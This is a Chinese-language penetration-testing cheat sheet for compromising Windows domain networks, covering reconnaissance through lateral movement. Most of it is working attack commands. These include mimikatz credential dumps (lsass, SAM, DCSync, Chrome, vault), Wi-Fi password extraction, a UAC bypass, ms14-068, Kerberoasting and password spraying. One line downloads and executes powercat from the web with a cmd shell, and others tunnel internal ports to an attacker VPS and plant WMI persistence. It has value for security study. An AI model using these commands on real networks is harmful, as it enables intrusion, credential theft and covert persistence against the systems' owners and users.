内网渗透
01 信息收集
在贡献一台机器以后,如果以为的直接抓取密码,做一些扫描内网的操作,如果有IDS等设备可能造成脖颈丢失权限。所以要先进性信息收集
1.1 SPN
SPN:服务主题名称,可以理解为网络服务的门牌号。
使用kerberos必须为服务器注册spn,因此可以在内网扫描spn,快速找到内网中注册的服务。spn扫描可以规避像是端口扫描的不确定性探测。常用的有setspn getuserspns.vbs和rubeus
a、利用Windows自带的setspn工具,普通域用户权限执行即可:
setspn -T domain.com -Q */*
b、利用GetUserSPNs.vbs也可以获取spn结果:
cscript GetUserSPNs.vbs
c、Rubeus工具
1.2 端口连接
利用netstat -ano命令获取机器通信信息,根据通信的端口、ip可以获取到如下信息。如果通信信息是入流量,则可以获取到跳板机/堡垒机、管理员的PC来源IP、本地web应用端口等信息;如果通信信息是出流量,则可以获取到敏感端口(redis、mysql、mssql等)、API端口等信息。
1.3、配置文件
看web应用对应的数据库账号密码 可以使用如下命令寻找包含密码字段的文件:
cd /web
findstr /s /m "password" *.*
下面是常用web服务器应用的默认配置路径:
a.Tomcat:
CATALINA_HOME/conf/tomcat-users.xml
b.Apache:
/etc/httpd/conf/httpd.conf
c.Nginx:
/etc/nginx/nginx.conf
d.Wdcp:
/www/wdlinux/wdcp/conf/mrpw.conf
e.Mysql:
mysql\data\mysql\user.MYD
1.4 用户信息
可以在网内收集用户等信息,对高权限用户做针对性的攻击,包括定位到域控,对域控发起攻击。
a、查看域用户,普通域用户权限即可:
net user /domain
b、查看域管理员
net group "domain admins" /domain
c、快速定位域控ip,一般是dns、时间服务器:
net time /domain
nslookup -type=all_ldap._tcp.dc._msdcs.domain.com
| 命令部分 | 含义 |
|---|---|
| nslookup | 域名查询工具,用于向 DNS 服务器发起查询请求 |
| -type=all | 指定查询类型为“所有”。这里主要目的是获取 SRV(服务定位)记录 和关联的 A(主机地址)记录 |
| _ldap._tcp | _ldap 指明要寻找的是 LDAP 服务(AD 目录服务),_tcp 指明使用 TCP 协议 |
| .dc._msdcs | 这是一个非常关键的路径标识,意为“域控(Domain Controller)的微软域服务(Microsoft Domain Services)” |
| .domain.com | 你所在的 AD 域名称 |
d、查看域控制器:
net group "domaincontrollers" /domain
1.5 内网主机发现
a.查看共享资料:
net view
b.查看arp表
arp -a
c.查看hosts文件
linux
cat /etc/hosts
windows
type c:\Windows\system32\drivers\etc\hosts
d.查看dns缓存:
ipconfig /displaydns
e.使用一些工具比方说nbtscan,nmap等
1.6、会话收集
在网内收集会话,如看管理员登录过哪些机器、机器被谁登录过,这样攻击的目标就会清晰很多。
可以使用NetSessionEnum api来查看其他主机上有哪些用户登录。
api相关介绍如下:
https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum
a.利用powershell脚本PowerView
Import-Module \powerview.ps1
invoke-UserHunter -UserName "win7user"
b.也可以查看机器被哪些用户登陆过:
简单的就是查看事件查看器的4624登录成功共和4625登陆失败
1.7、凭据收集
拿下一台机器后,需要尽可能的收集信息。如下是几个常用软件保存密码的注册表地址,可以根据算法去解密保存的账号密码
远程连接凭据:
| 命令部分 | 含义 |
|---|---|
| HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers<连接名> | Navicat for MySQL 存储连接信息(含加密密码)的注册表路径 |
| HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers<连接名> | Navicat for MariaDB 存储连接信息的注册表路径 |
| HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers<连接名> | Navicat for MongoDB 存储连接信息的注册表路径 |
| HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers<连接名> | Navicat for Microsoft SQL Server 存储连接信息的注册表路径 |
| HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers<连接名> | Navicat for Oracle 存储连接信息的注册表路径 |
| HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers<连接名> | Navicat for PostgreSQL 存储连接信息的注册表路径 |
| HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers<连接名> | Navicat for SQLite 存储连接信息的注册表路径 |
| C:\Users<用户名>\AppData\Roaming\VanDyke\Config\Sessions | SecureCRT 在 Win7/Win2008+ 系统上存储会话配置(含密码)的路径 |
| %userprofile%\Documents\NetSarang\Xshell\Sessions | Xshell 5 存储会话文件的路径(含密码) |
| %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions | Xshell 6 存储会话文件的路径(含密码) |
| HKCU\Software\Martin Prikryl\WinSCP 2\Sessions | WinSCP 存储已保存站点会话信息(含密码)的注册表路径 |
| HKLM\SOFTWARE\RealVNC\vncserver (Password) | RealVNC 存储服务端密码(通常加密)的注册表路径 |
| HKCU\Software\TightVNC\Server (Password / PasswordViewOnly) | TightVNC 存储当前用户密码配置的注册表路径 |
| HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 (Password) | TigerVNC 存储密码配置的注册表路径(实际通常为 HKCU 或 HKLM) |
| C:\Program Files\UltraVNC\ultravnc.ini (passwd / passwd2) | UltraVNC 存储密码明文的配置文件路径(通常用于本地认证) |
1.8、DPAPI
由微软从Windows 2000开始发布,称为Data ProtectionApplication Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 。
其作用范围包括且不限于:
outlook客户端密码
windowscredential凭据
chrome保存的密码凭据
internetexplorer密码凭据
DPAPI采用的加密类型为对称加密,存放密钥的文件则被称之为Master Key Files,其路径一般为%APPDATA%\Microsoft\Protect{SID}{GUID}。其中{SID}为用户的安全标识符,{GUID}为主密钥名称。我们可以利用用户的密码/hash或域备份密钥解密主密钥,然后解密被dpapi加密的数据。
相关的介绍如下:
https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection
在渗透中,可以利用mimikatz做到自动化的数据解密:
a、解密Chrome密码:
mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
b、解密Credential:
mimikatz vault::cred /patch
1.9、域信任
当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。
查看域信任:
nltest /domain_trusts
1.10、域传送 存在域传送漏洞时,可以获取域名解析记录。当有了解析记录后,也能提高对网络环境的进一步认知,比如www解析的ip段可能在dmz区,mail解析的ip段可能在核心区域等等。
windows
nslookup -type=ns domain.com
nslookup
sserver dns.domain.com
ls domain.com
linux
dig @dns.domain.com axfr domain.com
1.11、DNS记录获取
a、在windows server上,可以使用Dnscmd工具获取dns记录。
Dnscmd. /ZonePrint domain.com
Dnscmd. /EnumRecords domain.com
b、在非windows server机器上,可以使用PowerView获取。
import-module PowerView.ps1
Get-DNSRecord -ZoneName domnain.com
1.12、WIFI
通过如下命令获取连接过的wifi密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
1.13、GPP
当分发组策略时,会在域的SYSVOL目录下生成一个gpp配置的xml文件,如果在配置组策略时填入了密码,则其中会存在加密过的账号密码。这些密码,往往都是管理员的密码。
其中xml中的密码是aes加密的,密钥已被微软公开:
可以使用相关脚本进行解密,如:
域用户登录脚本存在目录也会存在敏感文件:
\\domain\Netlogon
1.14、自动化工具
比如说Seatbelt,Bloodhound(执行SharpHound.exe -c all生成zip压缩包之后导入)
1.15、Exchange
1.16.1 邮箱用户密码爆破
使用ruler工具对owa(outlook网页版)接口进行爆破:
./ruler --domain targetdomain.com brute --users /path/to/user.txt --passwords /path/to/passwords.txt
ruler工具会自动搜索owa可以爆破的接口,如:
https://autodiscover.targetdomain.com/autodiscover/autodiscover.xml
其他如ews接口也存在被暴力破解利用的风险:
https://mail.targetdomain.com/ews
1.16.2 通讯录收集
在获取一个邮箱账号密码后,可以使用MailSniper收集通讯录,当拿到通讯录后,可以再次利用上述爆破手段继续尝试弱密码,但是记住,密码次数不要太多,很有可能会造成域用户锁定:
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt
1.16.3 信息收集
当我们拿下exchange服务器后,可以做一些信息收集,包括不限于用户、邮件。
获取所有邮箱用户:
Get-Mailbox
导出邮件:
New-MailboxexportRequest -mailbox username -FilePath ("\\localhost\c$\test\username.pst")
也可以通过web口导出,登录:
导出后会有记录,用如下命令可以查看:
Get-MailboxExportRequest
删除某个导出记录:
Remove-MailboxExportRequest -Identity 'username\mailboxexport' -Confirm:$false
02 传输通道
在做完信息收集后,为了方便进一步内网渗透,一般都会建立一个通道,甚至是多级跳板。
2.1、是否出网
| command | test |
|---|---|
| ping | icmp |
| curl | http |
| nslookup | dns |
2.2、netsh
netsh是windows自带的命令,可以允许修改计算机的网络配置。也可以被拿来做端口转发。
A机器执行如下命令
netsh interface portproxy add v4tov4 listenport=5555 connectport=3389 connectaddress=192.168.1.1 protocol=tcp
其中add v4tov4意思是添加一条 IPv4 → IPv4 的转发规则(也有 v6tov4、v4tov6 等变体)
B机器访问A机器的5555端口,即是192.168.1.1的3389端口
2.3、SSH
一般被拿来登录linux机器,也可以拿来做代理和转发。
a、开启socks代理:
ssh -qTfnN -D [email protected]
| 参数 | 含义 |
|---|---|
| ssh | SSH 客户端 |
| -q | quiet 安静模式:抑制大部分警告和错误输出 |
| -T | 不分配伪终端(TTY):纯转发用,不需要交互式 shell |
| -f | 后台运行:认证成功后就 fork 到后台,命令立即返回(配合 -N 是常驻隧道的经典组合) |
| -n | stdin 重定向到 /dev/null:不让 SSH 从前台读输入(配合 -f 后台化) |
| -N | 不执行远程命令:这条连接只做端口转发,不打开 shell |
| -D | 1111 动态端口转发:在本地 1111 端口开一个 SOCKS5 代理 |
| [email protected] | 以 root 身份连接远程主机 1.1.1.1 |
效果是
把浏览器或任意工具(如 Proxifier、curl --socks5)指向 127.0.0.1:1111
所有流量走 SSH 加密通道到 1.1.1.1,以 1.1.1.1 的出口访问外部资源
1.1.1.1 能看到你访问了谁,但中间链路是加密的;目标网站看到的是 1.1.1.1 的 IP
b、控制A、B机器,A能够访问B,且能出网,B能够访问C,但不能出网,A不能访问C:
| 参数 | 含义 |
|---|---|
| -C | 压缩:隧道流量压缩传输 |
| -N | 不执行远程命令,纯转发 |
| -f | 认证成功后后台运行 |
| -g | 允许其他机器连接转发的端口(默认只允许本机 loopback 访问,加 -g 后绑定所有网卡,局域网内的机器也能用这个代理/端口) |
ssh -CNfg -L 2121:CIP:21 root@BIP
输入BIP机器密码,访问A的2121端口即是访问CIP的21端口。
-L 本地转发
c、控制A机器,A能够访问B:
ssh -CNfg -R 2121:BIP:21 root@hackervps
输入黑客vps密码,访问黑客vps的2121端口即是访问BIP的21端口。
-R 远程转发
2.4、自动化工具
reGeorg
可以解决当机器不出网时,使用http代理进入内网。
本地运行:
pythonreGeorgSocksProxy.py -p 9999 -u http://1.1.1.1:8080/tunnel.xx
利用proxychains等类似工具连接本地的9999端口的sock5连接即可代理1.1.1.1的网络。
EarthWorm
用于开启SOCKS v5代理服务的工具
a、受害者机器有外网ip并可直接访问:
把ew传到对方服务器上,执行:
./ew -s ssocksd -l 8888
现在本地利用proxychains等类似工具连接本地的对方服务器的8888端口的sock5连接即可代理对方的网络。
b、控制A机器,A能够访问B,通过A访问B:
在自己外网服务器上执行:
./ew -s rcsocks -l 1080 -e 8888
对方服务器执行:
./ew -s rssocks -d yourvpsip -e 8888
利用proxychains等类似工具可通过连接你的外网vps的1080 端口的socks5,即可代理受害者服务器的网络。
c、控制A、B机器,A能够访问B,B能够访问C,A有外网ip并可直接访问,通过A来使用B的流量访问C:
B机器执行:
./ew -s ssocksd -l 9999
A机器:
./ew -s lcx_tran -l 1080 -f BIP -g 9999
利用proxychains等类似工具可通过连接A的1080 端口的socks5,即可代理B服务器的网络。
d、控制A、B机器,A能够访问B,B能够访问C,A没有外网ip,通过A连接自己的外网vps来使用B的流量访问C:
自己vps执行:
./ew -s lcx_listen -l 1080 -e 8888
B机器执行:
./ew -s ssocksd -l 9999
A机器执行:
./ew -s lcx_slave -d vpsip -e 8888 -f BIP -g 9999
利用proxychains等类似工具可通过连接你自己的vps的1080 端口的socks5,即可代理B服务器的网络。
lcx
a、反向转发
外网VPS机器监听:
lcx.exe -listen 1111 2222
受害者机器执行:
lcx.exe -slave VPSip 1111 127.0.0.1 3389
连接外网VPS机器的2222端口即是连接受害者机器的3389。
b、正向转发
A机器执行:
lcx.exe -tran 1111 2.2.2.2 8080
访问A机器的1111端口即是访问2.2.2.2的8080端口。
2.5、powercat
powercat是一款ps版nc。可以本地执行,也可以远程下载执行,远程执行命令如下:
powershell"IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat-l -p 8000 -e cmd"
然后远程连接执行命令即可。如果嫌弃该命令太暴露,可以对其进行编码。
2.6 mssql
当目标机器只开放mssql时,我们也可以利用mssql执行clr作为传输通道
工具地址
https://github.com/blackarrowsec/mssqlproxy
03 权限提升
3.1 UAC
UAC,即用户账户控制,就是以管理员权限运行的时候跳出来那个,如果想远哦bypass的话可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。
比方说win10里面的ComputerDefaults.exe程序,他是微软自带的可信系统程序,当该程序被运行时,会无提示地读取并执行当前用户在注册表中设置的键值。
所以可以在注册表中找到该程序的路径,将默认值改为cmd,这样当 ComputerDefaults.exe 运行并尝试打开设置时,它会把执行权限转交给这个键值指向的命令,从而在未触发任何弹窗的情况下,让 cmd.exe 继承了高完整性权限
需要注意的是,我们需要先检查hkcu,如果 HKCU 里写入了,系统就会默认优先读取 HKCU 的配置(遮蔽 HKLM/HKCR),这个注册表劫持实际上就是利用了高权限程序 ComputerDefaults.exe 会优先读取 HKCU 的漏洞,借它的手执行了自己低权限写进去的代码,从而间接获得了高权限的 CMD 窗口。
3.2、ms14-068
该漏洞可以在只有一个普通域用户的权限时,获取到域控权限。微软已经修复了该漏洞,对应的补丁号为kb3011780。
1、域用户登录时,向KDC的AS服务以自身密码加密的时间戳进行预认证;
2、域控的AS服务验证用户的密码是否正确。验证通过后,返回给用户一张TGT票据,该票据为krbtgt密码加密而成;
3、域用户拿着TGT向KDC的TGS服务申请访问Application Server的票据
4、域控的TGS服务验证TGT通过后,返回给域用户能够访问Application Server的票据,即ST,ST以Application Server的服务账号密码加密;
5、域用户拿着ST访问对应的Application Server;
6、Application Server验证ST,决定成功与否。
而ms14-068的成因就是:
TGT中作为用户凭证,包含了用户名、用户id、所属组等信息,即PAC。简单点讲,PAC就是验证用户所拥有权限的特权属性证书。
默认PAC是包含在TGT中的,而出现ms14-068这个问题的原因在于用户在申请TGT时可以要求KDC返回的TGT不包含PAC(include-PAC为false),然后用户自己构造PAC并放入TGS_REQ数据包中的REQ_BODY中,KDC会解密PAC并加密到一个新的TGT中(正常应该返回一个ST)并返回给用户,此时这个TGT已经带入了我们构造的恶意的PAC。后面就是正常的kerberos流程了。
python ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
mimikatz.exe "kerberos::ptc [email protected]" exit
也可以利用goldenPac.py实现
goldenPac.py domain.com/username:[email protected]
04 密码获取
4.1、ntlmhash和net-ntlmhash
先简单介绍下lmhash和ntlmhash。
我们经常看到的hash长这样:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
他的组成就是:
user:sid:lmhash:ntlmhash
lmhash的加密流程如下:
1、密码长度限制为14个字符
2、密码全部转换为大写
3、密码转换为16进制字符串,不足14字节用0补全
4、密码的16进制字符串被分成两个7byte部分
5、再分7bit为一组,每组末尾加0,再组成一组
6、上步骤得到的二组,分别作为key 为 “KGS!@#$%”进行DES加密。
7、将加密后的两组拼接在一起,得到最终LM HASH值。
为了解决lmhash强度不够的问题,微软推出了ntlmhash:
1、先将用户密码转换为十六进制格式。
2、将十六进制格式的密码进行Unicode编码。
3、使用MD4对Unicode编码数据进行Hash计算
因为在vista后不再支持lmhash,因此抓到的hash中的lmhash都是aad3b435b51404eeaad3b435b51404ee
在hash传递攻击时,可以替换成0:
00000000000000000000000000000000
他的简述流程如下:
1、客户端向服务端发起认证
2、服务器收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。并使用登录用户密码hash加密Challenge,获得Challenge1
3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器
4、服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功。
这些都是基于微软的 NTLM 认证协议(New Technology LAN Manager)是一种基于挑战-响应机制的Windows身份验证协议,用于在不传输明文密码的情况下验证用户身份。
简单来说,NTLM Hash 是静态的本地钥匙,因为是静态的,所以可以复制粘贴拿去开别的门(PtH)。
Net-NTLM Hash 是动态的临时指纹,每次门的锁芯不一样(挑战值不同),所以不能直接复制拿去开别的门;但是你可以破解指纹算出原始的密码,或者站在中间把指纹实时转递给一个正好配对的锁(Relay)。
因此ntlmhash我们是可以拿来hash传递的,而net-ntlmhash不可以,但是net-ntlmhash也可以拿来做破解和中间人。
4.2、本地用户凭据
在windows上,C:\Windows\System32\config目录保存着当前用户的密码hash。我们可以使用相关手段获取该hash。
比方说使用reg命令获取本地用户凭证hash
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
或者使用pwdump7以及mimikatz等
privilege::debug
token::elevate
lsadump::sam
从lsass.exe中也可以获取,如直接用mimikatz
privilege::debug
sekurlsa::logonpasswords
而为什么有的抓不到明文密码,主要还是kb2871997的问题。kb2871997补丁会删除除了wdigest ssp以外其他ssp的明文凭据,但对于wdigest ssp只能选择禁用。用户可以选择将·HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential`更改为0来禁用。
它在winserver 2012 R2及以上版本已默认集成。在winserver 2012R2上面测试,手动添加上述注册表的值为1,然后抓密码,发现只有wdigest能抓到明文密码了:
再提一下kb2871997补丁问题,除了“解决”上述明文密码问题,还“解决”了pth问题,但是kb2871997对于本地Administrator(rid为500,操作系统只认rid不认用户名)和本地管理员组的域用户是没有影响的,此外,kb287199除了“解决”上述明文密码问题,还“解决”了pth问题,但是kb2871997对于本地Administrator(rid为500,操作系统只认rid不认用户名)和本地管理员组的域用户是没有影响的。
4.3、域hash
当拿到域控权限时,可以从域控中的C:\Windows\NTDS\NTDS.dit导出所有用户hash。因为ntds.dit被占用,因此需要利用如卷影备份等手段copy出ntds.dit,然后利用如NTDSDumpEx.exe解析hash
当拷贝ntds.dit时,由于网络、文件大小等问题,可以使用DRS协议获取hash凭据:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:jumbolab.com /all /csv" exit
4.4、token窃取
token是一个描述进程或线程安全上下文的对象。token即令牌包括了与进程或线程关联的用户账号的标识和特权,当用户登录时,系统通过将用户密码与安全数据库进行比对来验证用户密码正确性,如果密码正确,系统将生成访问token。该用户的进程都携带该token,可以利用DuplicateTokenEx api对现有token的复制,然后使用CreateProcessWithToken api对复制的token创建一个新的进程。
它们的攻击路径:Token Stealing (令牌窃取)
在典型的攻击场景中,这两个 API 通常按以下序列被调用,以伪装成管理员或 SYSTEM 用户:
获取目标令牌:使用 OpenProcess 打开目标高权限进程(如 lsass.exe)。
提取句柄:使用 OpenProcessToken 获取该进程的访问令牌句柄。
复制令牌:调用 DuplicateTokenEx 并指定 TokenPrimary 类型,将提取到的“模拟令牌”复制成可执行的“主令牌”。
启动进程:调用 CreateProcessWithTokenW 将复制的令牌附着到新的 cmd.exe 或其他恶意进程上,从而实现权限提升。
简而言之,这就是一个完整的“身份盗用”流程:先取来身份凭证(Token),再伪造一个合法证件(复制令牌),最后利用它骗过系统监控(启动新进程)。
4.5、Kerberoasting
在KRB_TGS_REP中,TGS会返回给Client一张票据ST,而ST是由Client请求的Server端密码进行加密的。当Kerberos协议设置票据为RC4方式加密时,我们就可以通过爆破在Client端获取的票据ST,从而获得Server端的密码。
在上述SPN信息收集中得到一个域用户test注册了一个SPN,我们请求TGS:
$SPNName = 'test/test'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
再利用mimikatz导出:
kerberos::list /export
然后利用tgsrepcrack暴力破解:
python tgsrepcrack.py wordlist.txt 2-40a10000-win7user@test\~test-JUMBOLAB.COM.kirbi
就可以成功获取该域用户密码
4.6、密码喷射
内网中的爆破
kerbrute userenum -d jumbolab.com usernames.txt
kerbrute passwordspray -d jumbolab.com username.txt aA1234567
4.7、LAPS
LocalAdministrator Password Solution是密码解决方案,为了防止一台机器被抓到密码后,然后网内都是同密码机器导致被横向渗透。但是也存在相应的安全隐患,当我们拿下域控时,可以查看计算机本地密码;当权限配置不当时,也会导致其他用户有权限查看他人计算机本地密码:
Get-ADComputer computername -Properties ms-Mcs-AdmPwd | select name, ms-Mcs-AdmPwd
05 横向移动
前提是获取到某个机器的账号密码或者hash
5.1、账号密码链接
a.IPC
net use \\目标ip\ipc$ “password” /user:username
作用:建立到目标主机的 SMB 认证会话。它本身不执行命令,但后续很多远程命令如 at、schtasks、sc、reg 等可以依赖这个已建立的认证通道。
b.Psexec
# 用服务启动的方式:
psexec \\target -accepteula -u username -p password cmd.exe
psexec.py jumbolab.com/administrator@目标ip
原理:通过 SMB 访问目标的 ADMIN$ 共享,上传服务程序,然后远程创建并启动一个服务,通过服务执行命令。执行完成后通常会删除服务。
上下两个是一样的,不过下面的是python版本就是
c、WMI
WMI 是 Windows Management Instrumentation,Windows 管理规范。可以通过它远程调用方法,例如创建进程。
# 方法一
wmic /user:"jumbolab.com\win7user" /password:"password" /node:172.16.127.184 process call create "notepad"
# 方法二
Invoke-WmiMethod -class win32_process -name create -argumentlist 'notepad' -ComputerName 172.16.127.184 -Credential 'jumbolab.com\win7user'
# 方法三
$filterName = 'BotFilter82'
$consumerName = 'BotConsumer23'
$exePath = 'C:\Windows\System32\notepad.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath} -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
方法1中
- wmic:WMI 命令行工具。
- /user、/password:远程凭据。
- /node:目标主机。
- process call create "notepad":调用 Win32_Process 类的 Create 方法,在目标主机上启动 notepad。
方法2和1作用一样,不过3是创建 WMI 事件订阅,形成持久化后门
- __EventFilter:事件过滤器,定义触发条件。这里使用 WQL 查询,监测 Win32_PerfFormattedData_PerfOS_System 的实例修改事件。
- CommandLineEventConsumer:事件消费者,当事件触发时执行指定的可执行文件,这里是 notepad.exe。
- __FilterToConsumerBinding:把过滤器和消费者绑定起来。
- 当满足 WQL 查询条件时,目标主机就会自动执行 notepad.exe。这种方式隐蔽性较强,常用于持久化。
d、Schtasks
schtasks /create /s 1.1.1.1 /u domain\Administrator /p password /ru "SYSTEM" /tn "windowsupdate" /sc DAILY /tr "calc" /F
schtasks /run /s 1.1.1.1 /u domain\Administrator /p password /tn windowsupdate
schtasks:Windows 计划任务命令。
/create:创建任务。
/s 1.1.1.1:目标主机。
/u domain\Administrator /p password:远程凭据。
/ru "SYSTEM":任务以 SYSTEM 账户身份运行。
/tn "windowsupdate":任务名称。
/sc DAILY:触发器为每天运行。
/tr "calc":要运行的程序。
/F:强制覆盖同名任务。
e、AT
at \\1.1.1.1 15:15 calc
作用:在远程主机的指定时间运行程序。该命令依赖已建立的 IPC 认证会话和远程 Task Scheduler 服务,较老的系统中常见,现在基本被 schtasks 取代。
f、SC
sc \\1.1.1.1 create windowsupdate binpath= "calc"
sc \\1.1.1.1 start windowsupdate
sc:Windows 服务控制管理器命令。
\1.1.1.1:目标主机。
create windowsupdate:创建名为 windowsupdate 的服务。
binpath= "calc":指定服务二进制文件路径为 calc。
start windowsupdate:启动该服务。
作用:通过远程创建并启动服务来执行命令/程序。需要目标主机管理员权限。实际利用中 binpath 常指向恶意可执行文件或类似 cmd.exe /c ... 的命令。
g、REG
reg add \\1.1.1.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG_SZ /d "calc"
reg add:注册表添加命令。
\1.1.1.1\HKLM...\Run:远程主机的 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 键。
/v myentry:值名称。
/t REG_SZ:值类型为字符串。
/d "calc":值数据为 calc。
作用:在远程主机的自启动注册表项 Run 中添加一个值。当用户登录时,系统会自动运行该值指向的程序。这通常用于持久化。
h、DCOM
# 方法一
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","1.1.1.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
# 方法二
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"1.1.1.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
# 方法三
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"1.1.1.1")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
方法一
通过 ProgID 为 MMC20.Application 的 DCOM 组件在远程主机 1.1.1.1 上创建对象。
调用 ExecuteShellCommand 方法执行命令。
参数含义:
'cmd.exe':要执行的程序。
$null:目录参数为空。
"/c calc.exe":命令行参数。
"Minimized":窗口最小化。
方法二
CLSID 9BA05972-F6A8-11CF-A442-00A0C90A8F39 是 ShellWindows。
通过 DCOM 远程创建 ShellWindows 对象,获取 Shell.Application,然后调用 ShellExecute 执行命令。
方法三
CLSID C08AFD90-F2A1-11D1-8455-00A0C91F3880 是 Shell.Application。
直接远程实例化 Shell.Application,调用 ShellExecute 执行命令。
DCOM 方式需要目标主机允许 DCOM 调用,并具备相应权限。
i、WINRM
winrs -r:http://1.1.1.1:5985 -u:Administrator -p:password "whoami"
winrs -r:http://dcserver.jumbolab.com:5985 -u:jumbolab\administrator -p:password "whoami "
winrs:Windows Remote Shell 客户端,基于 WinRM 服务。
-r:http://1.1.1.1:5985:指定远程 WinRM 服务地址,默认 HTTP 端口为 5985。
-u:Administrator -p:password:远程凭据。
"whoami":在远程主机上执行的命令。
作用:通过 WinRM/WS-Management 协议在远程主机上执行命令。目标主机需要启用 WinRM 服务,并监听 5985(HTTP)或 5986(HTTPS)端口。
总结
总结下来就是利用
SMB/ADMIN$ 访问日志
服务创建/启动事件
计划任务创建/运行事件
WMI 事件订阅
注册表 Run 键修改
DCOM 远程调用日志
WinRM 连接日志 这些协议、服务、端口和留下的日志痕迹,在防御中可以重点关注。
5.2、PTH
当我们没有明文账号密码,只有hash时,可以尝试hash传递。


